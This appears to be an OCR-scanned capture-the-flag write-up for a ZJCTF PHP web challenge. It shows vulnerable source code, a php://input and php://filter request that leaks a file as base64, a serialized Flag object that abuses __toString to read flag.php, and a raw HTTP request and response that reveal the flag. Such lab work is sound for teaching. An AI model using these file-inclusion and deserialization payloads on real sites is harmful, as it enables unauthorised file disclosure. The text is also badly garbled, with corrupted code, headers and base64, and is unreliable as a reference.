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{?php
$text = § GET["text”];
§file = § GET["file”];

$password = $ GET["password”];
if(isset ($text)&&(file get contents ($text, r )==="welcome to the zjctf”)){
echo “<br><hl>”.file get contents($text, 1’ ). "</hl></br>”;
if (preg match(”/flag/”, $file)) {
echo “Not now!”;

exit();
belse{
include ($file) ; useless. php
$password = unserialize($password) ;
echo $password;
}
}
else{
highlight file(_ FILE_ ):
}
>
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?text=php://input&file=php://filter/read=convert.base64-encoe/resource=useless.php

Fbp=#, &% 'welcome to the zjctf!

PD9waHAgIAoKY 2xhc3MgRmxhZ3sglC8vZmxhZyswaHAgIAogl CAgcHVibGljICRmaWxIOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX19
Ob3NOcmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsglAoglCAgICAgICAgGICBIY 2hvIGZpbGViZ2V0X2NvbnRI
bnRzKCR0aGIzLT5maWxIKTsgCiAglCAgICAgICAgIGVjaG8gljxicj4iOwoglCAgICAgIHJIdHVybiAollUgUiBTTyBDTE9TRSAhLY8VQO9INRS
BPTIBQTFoiKTsKICAgICAgICBIICAKICAgGIHOgIApSICAKPz4glAo=
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<?php

class Flag{ //flag.php

public $file;
public function __tostring(}{
if(isset($this->file)){
echo file_get_contents($this->file); _ o }
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class Flag{ //flag.php
public $file;
public function _ tostring(){
“ if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>"
return ("U R SO CLOSE 1///COME ON PLZ");
}
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$a=new Flag();
$a->file="flag.php’;
echo serialize($a);
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Kequest

Raw | Params | Headers | Hex

response

Raw | Headers | Hex

GET f?text=php:/finput&file=useless php&password=04:%22Flag%22:1 {s:4: %221ile %22, s:8: %2 2flag. php%22; } HTTR/ 1
Host: 1a9aefl1B-695:-45d1-8e1f2384ad7e3d43. noded buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:24.0) Gecko/20100101 Firefox/94.0

Accept: text/html application/xhtml+xml,applicationfxml;g=0.9 image/avifimagefwebp */*; q=0.8

Accept-Language: zh-CH zh;q=0.8, zh-TW;=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2

Connection: close

Cookie: UM_distinctid=17b819bead15fd-0Occeceaa 18e3f8-4c32247 b-1fad00- 17 bE19be ad2920
Upgrade-Insecure-Requests: 1

Content-Length: 20

welcome to the zjctf

HTTR/1.1 200 OK

Server: openresty

Date: Maon, 08 Moy 2021 11:40:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

Vary: Accept-Encoding

¥-Powered-By: PHP/5.6.40
Content-Length: 215

<br=<hl>welcome to the zjctf</h1=</hr>
<br=oh u find it </br>

<l--but i cant give it to u now-->
<?php

iff2===3){
return {"flag{bOeb0067-3b4b-4565-a76hb-a5af8=0c5328]");

}

>
<br=U R SO CLOSE ///COME ON PLZ
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